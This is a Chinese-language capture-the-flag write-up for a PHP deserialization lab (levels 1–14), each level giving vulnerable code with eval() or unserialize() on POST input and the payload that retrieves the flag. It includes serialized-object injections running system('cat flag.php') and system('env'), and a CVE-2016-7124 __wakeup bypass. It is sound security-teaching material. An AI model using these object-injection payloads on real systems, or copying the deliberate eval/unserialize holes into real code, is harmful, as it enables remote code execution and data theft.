1
class FLAG{
2
    public $flag_string = "NSSCTF{？？？？}";
3

4
    function __construct(){
5
        echo $this->flag_string;
6
    }
7
}
8

9
$code = $_POST['code'];
10

11
eval($code);

这里讲的是关于__construct魔法函数的作用
当某类被实例化后该类内中的__construct魔法函数被调用

很显然这里__construct魔法函数的作用就是输出Flag 我们直接实例化即可

实例化：new class();

Payload：

1
POST传参 code=new FLAG();

得到Flag

1
NSSCTF{OK_Now_y0u_c4n_se3_me}

[反序列化靶场]Level2-值的传递#

1
error_reporting(0);
2
$flag_string = "NSSCTF{？？？？}";
3

4
 class FLAG{
5
        public $free_flag = "???";
6

7
        function get_free_flag(){
8
            echo $this->free_flag;
9
        }
10
    }
11
$target = new FLAG();
12

13
$code = $_POST['code'];
14

15
if(isset($code)){
16
       eval($code);
17
       $target->get_free_flag();
18
}
19
else{
20
highlight_file('source');
21
}

这边可以看到提示$flag_string变量保存的是Flag
类FLAG被实例化为$target 这边如果给code传参会触发 $target->get_free_flag(); 输出FLAG类中的$free_flag的变量

这边题目的意思就是让你将$flag_string赋值给FLAG类中的$free_flag的变量然后输出Flag

这一Level 主要是教你类的赋值

Payload：

1
POST传参 code=$target -> free_flag = $flag_string;

得到Flag

1
NSSCTF{I_giv3_t0_y0u&y0u_giv3_t0_me}

[反序列化靶场]Level3-值的权限#

1
class FLAG{
2
  public $public_flag = "NSSCTF{?";
3
  protected $protected_flag = "?";
4
  private $private_flag = "?}";
5
  function get_protected_flag(){
6
    return $this->protected_flag;
7
  }
8
  function get_private_flag(){
9
    return $this->private_flag;
10
  }
11
}
12
class SubFLAG extends FLAG{
13
  function show_protected_flag(){
14
    return $this->protected_flag;
15
  }
16
  function show_private_flag(){
17
    return $this->private_flag;
18
  }
19
}
20
$target = new FLAG();
21
$sub_target = new SubFLAG();
22
$code = $_POST['code'];
23
if(isset($code)){
24
  eval($code);
25
} else {
26
  highlight_file(__FILE__);
27
  echo "Trying to get FLAG...<br>";
28
  echo "Public Flag: ".$target->public_flag."<br>";
29
  echo "Protected Flag:".$target->protected_flag ."<br>";
30
  echo "Private Flag:".$target->private_flag ."<br>";   }
31
?>
32
`Trying to get FLAG...
33
Public Flag: NSSCTF{se3_me_
34
Protected Flag: Error: Cannot access protected property FLAG:: in ?
35
Private Flag: Error: Cannot access private property FLAG:: in ?
36
...Wait,where is the flag?

这个题目就比较有意思了这是一个关于PHP类变量的权限问题我这里放出一个表来表示他们之间的权限关系

	public	protected	private
自身	√	√	√
子类	√	√	×
外部	√	×	×
所以直接使用被实例化的`FLAG`类自身便可以直接获取三个变量的值

其一Payload

1
POST传参 code=echo $target->public_flag.$target->get_protected_flag().$target->get_private_flag();

其子类SubFLAG也可以访问其protected修饰的变量

所以其二Payload

1
POST传参 code=echo $target->public_flag.$sub_target->show_protected_flag().$target->get_private_flag();

若使用$sub_target->show_private_flag()来获取的话则子类并没有权限访问父类private修饰的变量

则没有其三Payload

得到Flag

1
NSSCTF{se3_me_4nd_g3t_mmmme}

[反序列化靶场]Level4-初体验#

1
class FLAG3{
2
    private $flag3_object_array = array("？","？");
3
}
4

5
class FLAG{
6
     private $flag1_string = "？";
7
     private $flag2_number = '?';
8
     private $flag3_object;
9

10
    function __construct() {
11
      $this->flag3_object = new FLAG3();
12
    }
13
}
14

15
$flag_is_here = new FLAG();
16

17
$code = $_POST['code'];
18

19
if(isset($code)){
20
    eval($code);
21
} else {
22
  highlight_file(__FILE__);
23
}

这一层level要我们了解PHP序列化这一保存原理为了方便保存所有的数据被序列化为一段字符串进行保存

序列化与反序列化的过程可以理解为打包/解包的过程

从源码中可以看到FLAG类中__construct这个魔法函数实例化了FLAG3类若将其打包FLAG 那么打包后的内容则会含有FLAG3类的所有数据所以我们就可以从中得到flag

Payload：

1
POST传参 code=echo serialize($flag_is_here);

得到字符串如下

1
O:4:"FLAG":3:{s:18:"FLAGflag1_string";s:8:"ser4l1ze";s:18:"FLAGflag2_number";i:2;s:18:"FLAGflag3_object";O:5:"FLAG3":1:{s:25:"FLAG3flag3_object_array";a:2:{i:0;s:3:"se3";i:1;s:2:"me";}}}

从FLAGflag1_string、FLAGflag2_number、FLAGflag3_object这几个提示的部分将flag拼接

得到Flag

1
NSSCTF{ser4l1ze2se3me}

[反序列化靶场]Level5-普通值规则#

1
class a_class{
2
  public $a_value = "NSSCTF";
3
}
4
$a_object = new a_class();
5
$a_array = array(a=>"Hello",b=>"CTF");
6
$a_string = "NSSCTF";
7
$a_number = 678470;
8
$a_boolean = true;
9
$a_null = null;
10

11
See How to serialize:
12
a_object: O:7:"a_class":1:{s:7:"a_value";s:6:"NSSCTF";}
13
a_array: a:2:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";}
14
a_string: s:6:"NSSCTF";
15
a_number: i:678470;
16
a_boolean: b:1;
17
a_null: N;
18
Now your turn!

1
<?php
2
$your_object = unserialize($_POST['o']);
3
$your_array = unserialize($_POST['a']);
4
$your_string = unserialize($_POST['s']);
5
$your_number = unserialize($_POST['i']);
6
$your_boolean = unserialize($_POST['b']);
7
$your_NULL = unserialize($_POST['n']);
8
if(
9
  $your_boolean &&
10
  $your_NULL == null &&
11
  $your_string == "IWANT" &&
12
  $your_number == 1 &&
13
  $your_object->a_value == "FLAG" &&
14
  $your_array['a'] == "Plz" && $your_array['b'] == "Give_M3"
15
)
16
{
17
  echo $flag;
18
}
19
else{
20
  echo "You really know how to serialize?";
21
}

从第一个代码块他告诉我们这几个类型被序列化的样子我们如果让他进行反序列化则会给予对应的数据便可以进行赋值等操作

1
a_object: O:7:"a_class":1:{s:7:"a_value";s:6:"NSSCTF";}
2
a_array: a:2:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";}
3
a_string: s:6:"NSSCTF";
4
a_number: i:678470;
5
a_boolean: b:1;
6
a_null: N;

根据要求我们将以上数据照着葫芦画瓢

Payload：

1
your_object: O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}
2
your_array: a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}
3
your_string: s:5:"IWANT";
4
your_number: i:1;
5
your_boolean: b:1; //这里按照 php 基础判断需要让布尔值为 1
6
your_NULL: N;
7

8
然后我们依次进行POST传参即可

得出Flag

1
NSSCTF{Gre4t,y0u_can_als0_ser4l1ze2se_1n_y0ur_m1nd!}

[反序列化靶场]Level6-权限修饰规则#

1
class protectedKEY{
2
    protected $protected_key;
3

4
    function get_key(){
5
        return $this->protected_key;
6
    }
7
}
8
class privateKEY{
9
    private $private_key;
10

11
    function get_key(){
12
        return $this->private_key;
13
    }
14
}
15

16
See Carfully~
17
"protected" serialize: O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3BN%3B%7D
18
"private" serialize: O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3BN%3B%7D

这个题目想告诉我们在被protected、private进行特殊修饰的变量被序列化的时候存在形式

由他给出的序列化的数据可以他们在原有的基础上加了一个%00{?}%00这个东西
关于%00 是NULL在被urlencode之后的数据以防出现问题这种进行传参就在urlencode之后再进行传参即可而且在计算长度的时候之将其视为1长度

我这边整理出来不同修饰符被序列化后的格式

	public	protected	private
格式	{value}	%00*%00{value}	%00{classname}%00{value}

1
$protected_key = unserialize($_POST['protected_key']);
2
$private_key = unserialize($_POST['private_key']);
3
if(isset($_POST['protected_key'])&&isset($_POST['private_key'])){
4
    if($protected_key->get_key() == "protected_key" && $private_key->get_key() == "private_key"){
5
        echo $flag;
6
    } else {
7
        echo "We Call it %00_Contr0l_Characters_NULL!";
8
    }
9
} else {
10
    highlight_file('source');
11
}

编写Payload

1
class protectedKEY{
2
    protected $protected_key="protected_key";
3
}
4
class privateKEY{
5
    private $private_key="private_key";
6
}
7
$a = new protectedKEY();
8
$b = new privateKEY();
9
echo urlencode(serialize($a));
10
//O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3Bs%3A13%3A%22protected_key%22%3B%7D
11
echo urlencode(serialize($b));
12
//O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3Bs%3A11%3A%22private_key%22%3B%7D

将得出的串用POST 传参给 protected_key 和 private_key 便可以得出Flag

1
NSSCTF{P3rm1ssi0n_Modif_1s_1mp0rtant}

[反序列化靶场]Level7-实例化和反序列化#

1
// FLAG in flag.php
2
class FLAG{
3
    public $flag_command = "echo 'Hello CTF!<br>';";
4

5
    function backdoor(){
6
        eval($this->flag_command);
7
    }
8
}
9

10
$unserialize_string = 'O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo 'Hello World!<br>';";}';
11

12
$Instantiate_object = new FLAG(); // 实例化的对象
13

14
$Unserialize_object = unserialize($unserialize_string); // 反序列化的对象
15

16
$Instantiate_object->backdoor();
17

18
$Unserialize_object->backdoor();
19

20
'$Instantiate_object->backdoor()' will output:Hello CTF!
21
'$Unserialize_object->backdoor()' will output:Hello World!
22

23
<?php /* Now Your Turn */
24
unserialize($_POST['o'])->backdoor();

这个题目可以教会我们理解我们反序列化后会将原有的数据覆盖我们只需要修改我们反序列化的内容便可以篡改类中变量的值以达到我们想要的效果

其中反序列化数据O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo 'Hello World!<br>';";} 中的echo 'Hello World!<br>'; 可以明显看到其被反序列化占据了原有的$flag_command 于是我们仅需要修改这一长串数据便可以达到执行我们自己的命令的目的

将echo 'Hello World!<br>';替换为system('cat flag.php'); // 这里因靶机系统而异这里是linux

替换完之后我们发现mand";s:24:"echo 中的24为原来数据的长度我们替换的数据长度为23 则将原始数据的对应部分改为23即可

Payload：

1
POST传参 o=O:4:"FLAG":1:{s:12:"flag_command";s:23:"system('cat flag.php');";}

在源码中得到Flag

1
NSSCTF{1n3tanti4tion&3er1alizati0n!}

[反序列化靶场]Level8-GC机制#

1
global $destruct_flag;
2
global $construct_flag;
3
$destruct_flag = 0;
4
$construct_flag = 0;
5

6
class FLAG {
7
    public $class_name;
8
    public function __construct($class_name)
9
    {
10
        $this->class_name = $class_name;
11
        global $construct_flag;
12
        $construct_flag++;
13
        echo "Constructor called " . $construct_flag . "<br>";
14
    }
15
    public function __destruct()
16
    {
17
        global $destruct_flag;
18
        $destruct_flag++;
19
        echo "Destructor called " . $destruct_flag . "<br>";
20
    }
21
}
22

23
/*Object created*/
24
$demo = new FLAG('demo');
25

26
/*Object serialized*/
27
$s = serialize($demo);
28

29
/*Object unserialized*/
30
$n = unserialize($s);
31

32
/*unserialized object destroyed*/
33
unset($n);
34

35
/*original object destroyed*/
36
unset($demo);
37

38
/*注意 此处为了方便演示为手动释放，一般情况下，当脚本运行完毕后，php会将未显式销毁的对象自动销毁，该行为也会调用析构函数*/
39
/*此外 还有比较特殊的情况: PHP的GC(垃圾回收机制)会在脚本运行时自动管理内存，销毁不被引用的对象:*/
40
new FLAG();
41

42
Object created:Constructor called 1
43
Object serialized: But Nothing Happen(:
44
Object unserialized:But nothing happened either):
45
serialized Object destroyed:Destructor called 1
46
original Object destroyed:Destructor called 2
47

48
This object ('new FLAG();') will be destroyed immediately because it is not assigned to any variable:Constructor called 2
49
Destructor called 3
50

51
Now Your Turn!, Try to get the flag!

欸，您猜怎么着！这里还真是我的盲点，这个题说的GC机制(垃圾回收机制)比较复杂，而且全是专业术语比较抽象

构造函数只会在类实例化的时候 —— 也就是使用 new 的方法手动创建对象的时候才会触发，而通过反序列化创建的对象不会触发这一方法，这也是为什么，在前面的内容，我将反序列化的对象创建过程称作为 “还原”。

析构函数会在对象被回收的时候触发 —— 手动回收和自动回收。

手动回收：就是代码中演示的 unset 方法用于释放对象。

自动回收：对象没有值引用指向，或者脚本结束完全释放，具体看题目中的演示结合该部分文字应该不难理解。

题目要求全局变量标识符flag的值大于5，根据 __destruct() 和 PHP GC 的特性，我们可以不断地去序列化和反序列化一个对象，然后不给该对象具体的引用以触发自动销毁机制。

我这里用一点简单的大白话去将这个道理
省流一下其实很好理解

__construct 这个函数只有new xxx();才能触发，序列化、反序列化均不产生影响
__destruct 这个函数被激活有一下情况
1. 程序结束自动销毁
2. unset();销毁该类
3. 使用序列化和反序列化完成生命周期

所以这个题目有两种解法使flag的值大于5

其一Payload

1
POST传参 code=unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));

flag的值变化为

1
1x new RELFLAG(); + 4x unserialize(); + 1x 程序结束 = 6 > 5  得到flag

其二Payload

1
POST传参
2
code=$RELFLAG1 = new RELFLAG();$RELFLAG2 = new RELFLAG();$RELFLAG3 = new RELFLAG();$RELFLAG4 = new RELFLAG();$RELFLAG5 = new RELFLAG();unset($RELFLAG1);unset($RELFLAG2);unset($RELFLAG3);unset($RELFLAG4);unset($RELFLAG5);

flag的值变化为

1
全局变量$flag在构造函数中被重置为0然后++，导致每次new后$flag=1。
2
同样在第五次$RELFLAG5 = new RELFLAG();后$flag=1
3
然后再进行连续五次的 unset(); 每次 unset(); $flag += 1;
4
1x $RELFLAG5 = new RELFLAG(); -> 5x unset($RELFLAG); = 6 > 5  得到flag

得到Flag

1
NSSCTF{Construct0r_&_D3struct0r}

[反序列化靶场]Level9-构造函数的后门#

1
// flag在环境变量
2
class FLAG {
3
    var $flag_command = "echo 'HelloCTF';";
4
    public function __destruct()
5
    {
6
        eval ($this->flag_command);
7
    }
8
}
9

10
unserialize($_POST['o']);

首先定位到eval函数然后发现里面是一个flag_command变量所以如果我们可以修改里面变量的值就可以做到 RCE

如何改变？我们可以看到下面的反序列化我们可以通过自己构建序列化的数据进行反序列化然后便可以替换掉其中的flag_command 变量值

Payload

1
class FLAG {
2
    var $flag_command = "system('env');";
3
    //rce指令因系统而异
4
}
5

6
$a = new FLAG();
7
echo serialize($a);
8
//O:4:"FLAG":1:{s:12:"flag_command";s:14:"system('env');";}
9
POST传参即可

得到FLag

1
NSSCTF{5b9f126f-4adf-456e-86bf-0675e9a76816}

[反序列化靶场]Level10-__wakeup()#

1
class FLAG{
2
    function __wakeup() {
3
        include 'flag.php';
4
        echo $flag;
5
    }
6
}
7

8
if(isset($_POST['o']))
9
{
10
  unserialize($_POST['o']);
11
}else {
12
  highlight_file(__FILE__);
13
}

__wakeup()，执行unserialize()时，先会调用这个函数

所以直接反序列化一个名为FLAG的空类即可

Payload：

1
class FLAG {
2
}
3
$a = new FLAG();
4
echo serialize($a);
5
//O:4:"FLAG":0:{}
6
POST传参即可

得到Flag

1
NSSCTF{Default_Flag}

[反序列化靶场]Level11-CVE-2016-7124#

1
error_reporting(0);
2

3
include 'flag.php';
4

5
class FLAG {
6
    public $flag = "FAKEFLAG";
7

8
    public function  __wakeup(){
9
        global $flag;
10
        $flag = NULL;
11
    }
12
    public function __destruct(){
13
        global $flag;
14
        if ($flag !== NULL) {
15
            echo $flag;
16
        }else
17
        {
18
            echo "sorry,flag is gone!";
19
        }
20
    }
21
}
22

23
if(isset($_POST['o']))
24
{
25
  unserialize($_POST['o']);
26
}else {
27
  highlight_file(__FILE__);
28
  phpinfo();
29
}
30

31
?>

分析这个题目可知只要在$flag !== NULL的条件下执行__destruct函数便可以拿到flag

且默认状态下 $flag !== NULL 条件成立但是如果执行__wakeup函数则会使条件不成立

所以我们要绕过__wakeup函数不让它执行这就是我们这道题的主角CVE-2016-7124

这个CVE-2016-7124影响范围如下

PHP5 < 5.6.25
PHP7 < 7.0.10

如何利用呢？只需要修改最后你要绕过的类的成员数量以这个题目举例

1
class FLAG {
2
    public $flag = "FAKEFLAG";
3
}
4
$a = new FLAG();
5
echo serialize($a);
6
//O:4:"FLAG":1:{s:4:"flag";s:8:"FAKEFLAG";}

这里得出的O:4:"FLAG":1:{s:4:"flag";s:8:"FAKEFLAG";} 成员数量为1 修改为其他数量即可

Payload：

1
O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";}

得出Flag

1
NSSCTF{77b007ba-81cd-40f4-a355-849a51ec3877}

[反序列化靶场]Level12-__sleep()#

1
class FLAG {
2

3
    private $f;
4
    private $l;
5
    protected $a;
6
    public  $g;
7
    public $x,$y,$z;
8

9
    public function __sleep() {
10
        return ['x','y','z'];
11
    }
12
}
13

14
class CHALLENGE extends FLAG {
15

16
    public $h,$e,$l,$I,$o,$c,$t,$f;
17

18
    function chance() {
19
        return $_GET['chance'];
20
    }
21
    public function __sleep() {
22
    /* FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g */
23
      $array_list = ['h','e','l','I','o','c','t','f','f','l','a','g'];
24
      $_=array_rand($array_list);$__=array_rand($array_list);
25
      return array($array_list[$_],$array_list[$__],$this->chance());
26
    }
27

28
}
29

30
$FLAG = new FLAG();
31
echo serialize($FLAG);
32

33
echo serialize(new CHALLENGE());
34

35
//If you serialize FLAG, you will just get x,y,z
36
//O:4:"FLAG":3:{s:1:"x";N;s:1:"y";N;s:1:"z";N;}
37
//------ 每次请求会随机返回两个属性，你也可以用 chance 来指定你想要的属性 ------
38
//Now __sleep()'s return parameters is array('o','o','you shuold use it')
39
//O:9:"CHALLENGE":3:{s:1:"o";s:7:"called_";s:1:"o";s:7:"called_";s:17:"you shuold use it";N;}

这个题目主要是为了告诉你当执行serialize()时，先会调用__sleep()函数

在CHALLENGE这个类中它继承了 FLAG 类因此它拥有能够访问FLAG类里面的f、l、a、g变量

这边给你提示说/* FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g */

里面提到了多次f、a变量由于子类应该是对f、a变量进行再次的赋值因此如果我们要获取完整正确的flag 我们需要在获取的时候 f、l、a、g变量都应该获取父类的变量

还有一个知识点就是在我们调用非public类型变量的时候有着特殊的调用规则

	public	private	protected
payload	{name}	%00{classname}%00{name}	%00{*}%00{name}

通过代码审计我们知道我们可以通过 get对chance参数传参去获得对应的变量数据

因此Payload：

1
GET传参 ?chance={value}
2
value依次为 h、e、l、I、o、c、t、f、%00FLAG%00f、%00FLAG%00l、%00*%00a、g

得到flag的部分片段然后进行拼接得到Flag

1
NSSCTF{Th3___sleep_function__is_called_before_serialization_t0_clean_up_4nd_select_variab1es}

[反序列化靶场]Level13-__toString()#

1
class FLAG {
2
    function __toString() {
3
        echo "I'm a string ~~~";
4
        include 'flag.php';
5
        return $flag;
6
    }
7
}
8

9
$obj = new FLAG();
10

11
if(isset($_POST['o'])) {
12
    eval($_POST['o']);
13
} else {
14
    highlight_file(__FILE__);
15
}

魔法函数__toString指的是当此类当作字符串时函数将会被调用

这边如果这个函数被调用则会直接返回flag值也就是说把它当作字符串时他就是flag

所以我们这边直接执行输出

Payload：

1
POST传参 o=echo $obj;

得到Flag

1
NSSCTF{00119b97-2cfd-4b41-a8a9-2966fedf10a8}

[反序列化靶场]Level14-__invoke()#

1
class FLAG{
2
    function __invoke($x) {
3
        if ($x == 'get_flag') {
4
            include 'flag.php';
5
            echo $flag;
6
        }
7
    }
8
}
9

10
$obj = new FLAG();
11

12
if(isset($_POST['o'])) {
13
    eval($_POST['o']);
14
} else {
15
    highlight_file(__FILE__);
16
}

这依旧是一个魔法函数 __invoke 它表示当此类被当作函数调用时将会调用此函数

代码审计发现当__invoke 被调用时的输入值为get_flag时将直接输出flag值

于是Payload：

1
POST传参 o=$obj(get_flag);

得到Flag

1
NSSCTF{96cc166d-3560-4da6-b2b9-be01d14d4d4a}

今天写累了先写到这吧明天再写下半部分

[反序列化靶场]PHPSerialize-lab系列 全流程WriteUp#

前言#

题目列表#

[反序列化靶场]Level1-类的实例化#

[反序列化靶场]Level2-值的传递#

[反序列化靶场]Level3-值的权限#

[反序列化靶场]Level4-初体验#

[反序列化靶场]Level5-普通值规则#

[反序列化靶场]Level6-权限修饰规则#

[反序列化靶场]Level7-实例化和反序列化#

[反序列化靶场]Level8-GC机制#

[反序列化靶场]Level9-构造函数的后门#

[反序列化靶场]Level10-__wakeup()#

[反序列化靶场]Level11-CVE-2016-7124#

[反序列化靶场]Level12-__sleep()#

[反序列化靶场]Level13-__toString()#

[反序列化靶场]Level14-__invoke()#

[反序列化靶场]PHPSerialize-lab系列全流程WriteUp#